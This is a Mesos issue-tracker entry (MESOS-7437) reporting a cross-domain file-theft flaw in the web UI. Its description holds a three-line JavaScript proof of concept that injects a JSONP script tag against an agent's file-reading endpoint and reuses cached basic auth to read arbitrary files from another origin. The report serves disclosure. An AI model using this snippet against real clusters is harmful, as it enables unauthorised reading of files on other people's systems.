Uploaded image for project: 'Mesos'
  1. Mesos
  2. MESOS-7437

cross domain file-theft in the web-ui

    XMLWordPrintableJSON

Details

    • Bug
    • Status: Open
    • Major
    • Resolution: Unresolved
    • None
    • None
    • security, webui
    • None

    Description

      x=document.createElement('script')
      x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=50000&jsonp=console.log&_=1490306716903'
      document.body.appendChild(x)
      

      The above code pasted into the web console on http://example.com/, for example, will yield the contents of the requested file. Basic auth is cached and resent in browser tabs/windows as long as the user has authenticated during the browser session.

      Attachments

        Activity

          People

            jjanco Jacob Janco
            jjanco Jacob Janco
            Votes:
            0 Vote for this issue
            Watchers:
            3 Start watching this issue

            Dates

              Created:
              Updated: